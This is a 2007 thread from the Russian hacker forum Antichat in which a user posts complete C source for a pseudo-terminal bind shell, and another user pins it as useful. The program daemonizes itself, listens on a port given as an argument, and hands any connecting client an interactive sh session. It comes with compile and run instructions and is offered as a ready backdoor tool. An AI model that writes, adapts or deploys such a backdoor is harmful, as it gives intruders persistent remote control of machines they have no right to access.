Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   pty bindshell (https://forum.antichat.xyz/showthread.php?t=42938)

ZaCo 23.06.2007 22:23

pty bindshell
 
нашел исходник своего биндшелла под posix работающего через псевдо-терминальное устройство, что позволяет работать с такими утилитами как mc, more и т.д. а так же работать с "горячими" клавишами как у настоящего терминала - ctrl-z, ctrl-d, ctrl-c... реализация не новая, но кому интересно с этой темой разобраться можно посмотреть:

Код:

/*
 coded by ZaCo
 compile : gcc -lpthread -lutil bind.c -o bind
 exec    : ./bind 6669
  telnet host 6669
*/

#define NUM 3      //максимальное количество клиентов

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/poll.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>
#include <termios.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#define SOCKET int
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define MSG_HEADER "bind shell by ZaCo\r\n"
#define MSG_ERR_NUM_USERS "max users connections\r\n"
#define MSG_BYE "Good bye.\n"
#define BUF_SIZE 1024

SOCKET bot,sock;
int shared[2];
pid_t child_pid;

void set_tattr(int, struct termios *);
void client(void);
void onTermC(int);
void onChild(int);


//устанавливаем свойства устройству по дескрептору fg,
//сохраняя прежние настройки по указателю old

void set_tattr(int fd,struct termios * old)
 {
  struct termios t;
  int res;
  res=tcgetattr(fd, old);
  t=*old;
  if(res<0)return; 
  //
  cfmakeraw(&t);
//  t.c_iflag|=IGNCR|ICRNL|IXON;
  t.c_iflag|=ICRNL|IXON|IGNCR;
  t.c_iflag&=~(IGNBRK|BRKINT|IGNPAR|PARMRK|INPCK|ISTRIP|INLCR|IXOFF|IXANY|IMAXBEL);
  //
  t.c_oflag|=OPOST|ONLCR;
  t.c_oflag&=~(OCRNL|ONOCR|ONLRET);

  //t.c_oflag&=~ONOEOT;
  t.c_lflag|=ISIG|ICANON|IEXTEN|ECHO|ECHOE|ECHOK|ECHOCTL|ECHOKE;
  t.c_lflag&=~(ECHONL|NOFLSH|TOSTOP|ECHOPRT|PENDIN|  ECHO|ECHOE|ECHOK|ECHOCTL|ECHOKE);
 // t.c_lflag|=ICANON|ISIG;
 
  t.c_cflag|=CS8|CREAD;
  t.c_cflag&=~(PARENB|PARODD|HUPCL|CSTOPB|CLOCAL|CRTSCTS);
  //
  t.c_cc[VINTR]=0x03;
  t.c_cc[VSUSP]=0x1A;
  t.c_cc[VEOF]=0x04;
  t.c_cc[VERASE]=0x08;

  t.c_cc[VMIN]=1;
  t.c_cc[VTIME]=0;
  //
  res=tcsetattr(fd,TCSANOW,&t);
  if(res<0)return;
 }

//обрабатываем клиента, дочерний процесс

void client(void)
 { 
  char buf[BUF_SIZE];
  int rb, num, nfds;
  struct pollfd dpoll[2];

  //для работы с псевдотерминалом 
  int amaster,aslave;
  struct termios t_master,t_slave;
  //отправляем banner для рекламы
  send(sock,MSG_HEADER,strlen(MSG_HEADER),0);   
  //устанавливаем все атрибуты
  if(openpty(&amaster,&aslave,NULL,NULL,NULL)<0);
  set_tattr(amaster,&t_master);
  set_tattr(aslave,&t_slave);

  //////////////////////
  child_pid=fork();
  if(child_pid==0)
  {
    close(amaster);
    login_tty(aslave);
    //
    execlp("sh","sh",NULL);   
    exit(0);
  }
  close(aslave);
  //////////////////////

  dpoll[0].fd=sock;
  dpoll[0].events=POLLIN;

  dpoll[1].fd=amaster;
  dpoll[1].events=POLLIN;
  //
  nfds=2;
  dpoll[0].revents=0;
  dpoll[1].revents=0;

  //цикл - пока жив клиент и пока можем читать\писать дочернему процессу == он живой :)
  int ex=0;
  while(!ex && poll(&dpoll[0],nfds,-1)>0)
  {
    if(dpoll[0].revents&(POLLERR|POLLHUP|POLLNVAL)) ex=1;
    else
      if(dpoll[0].revents&POLLIN)
      {
        rb=recv(sock,buf,BUF_SIZE,0);
        if( (rb<=0) || (write(amaster,buf,rb)<=0) )ex=1;
      }

    if(dpoll[1].revents&(POLLERR|POLLHUP|POLLNVAL)) ex=1;
    else
      if(dpoll[1].revents&POLLIN)
      {
        rb=read(amaster,buf,BUF_SIZE);
        if( (rb<=0) || (send(sock,buf,rb,0)<=0) ) ex=1;
      }

    dpoll[0].revents=0;
    dpoll[1].revents=0;
  }
  //
  kill(child_pid,SIGKILL);//убиваем дочерний процесс шелла
  //ставим обратно все свойства устройства
  tcsetattr(amaster,TCSANOW,&t_master);
  tcsetattr(aslave,TCSANOW,&t_slave);
  //
  close(amaster);
 }
//
void onTermF(int sid)
 {
  if(bot!=0)//не убиваемся ли повторно
  {
    shutdown(bot,SHUT_RDWR);
    close(bot);

    bot=0; //так как сигнал отправляет всей группе
    printf(MSG_BYE);
    kill(0,SIGTERM);
  }
  wait(NULL);
  exit(0);
 }
//
void onTermC(int sid)
 {
  if(child_pid!=0)
  {
    kill(child_pid,SIGKILL); //убиваем дочерний процесс
  }
  signal(sid,onTermC);
 }
//
void onChild(int sid)
 {
  //от зомби
  wait(NULL);
 }
//
int main(int argc, char * argv[])
 {
  if(argc!=2)
  {
    puts("port!");
    exit(0);
  }
  //demon 
  if(fork()>0)exit(0);
  setsid();
  //
  int port=atoi(argv[1]);
 
  struct sockaddr_in addr,cl_addr;
  socklen_t addr_len=sizeof(struct sockaddr);
  int num_of_clients=0,rc;
  char c,first=1;
  int on;
  //
  pipe(shared);
  on=1;
  //читаем в асинхронном режиме
  ioctl(shared[0],FIONBIO,&on);
  child_pid=0;
 
  signal(SIGINT,onTermF);
  signal(SIGALRM,onTermF);
  signal(SIGQUIT,onTermF);
  signal(SIGTERM,onTermF);
 
  signal(SIGCHLD,onChild);
  //
  if((bot=socket(AF_INET,SOCK_STREAM,0)) && bot!=INVALID_SOCKET)
  {
    memset(&addr,sizeof(addr),0);
    addr.sin_family=AF_INET;
    addr.sin_port=htons(port);
    addr.sin_addr.s_addr=0;
    //   
    struct linger ling;
    ling.l_onoff=1;
    ling.l_linger=0;
    rc=1;
    setsockopt(bot,SOL_SOCKET,SO_LINGER,&ling,sizeof(struct linger));
    setsockopt(bot,SOL_SOCKET,SO_REUSEADDR,&rc,sizeof(rc));
    //setsockopt(bot,SOL_SOCKET,SO_REUSEPORT,&rc,sizeof(rc));
    if(bind(bot,(const struct sockaddr*)&addr,addr_len)!=SOCKET_ERROR)
    {
      if(listen(bot,SOMAXCONN)!=SOCKET_ERROR)
      {
        while(1)
        {
          sock=accept(bot,(struct sockaddr*)&addr,&addr_len);
          if(sock!=INVALID_SOCKET)
          {
            //проверяем количество подключенных клиентов
            if(read(shared[0],&c,1)>0) num_of_clients--;
            if(num_of_clients>=NUM)
            {
              send(sock,MSG_ERR_NUM_USERS,strlen(MSG_ERR_NUM_USERS),0);
              shutdown(sock,SHUT_WR);
              close(sock);
              continue;
            }

            setsockopt(sock,SOL_SOCKET,SO_LINGER,&ling,sizeof(struct linger));
//            getpeername(sock,(struct sockaddr*)&cl_addr,&addr_len);
//            printf("ip:%s\n",inet_ntoa(cl_addr.sin_addr));
            num_of_clients++;
            child_pid=fork();
            if(child_pid==0)
            {
              signal(SIGINT,onTermC);
              signal(SIGALRM,onTermC);
              signal(SIGQUIT,onTermC);
              signal(SIGTERM,onTermC);

              client();

              send(sock,MSG_BYE,strlen(MSG_BYE),0);
              shutdown(sock,SHUT_RDWR);
              write(shared[1],"\x01",1);//на одного клиента меньше ;)
              //                       
              wait(NULL);
              exit(0);
            }
          }
        }
      }
    }
    else
    {
      printf("bind error.\n");
    }
    shutdown(bot,SHUT_RDWR);
    close(bot);
  }
  else
  {
    printf("socket error.\n");
  }
  printf(MSG_BYE);
  exit(0);
 }


_Great_ 23.06.2007 22:29

О, ты его выложил тут :) Темку закреплю, полезно.


Время: 03:55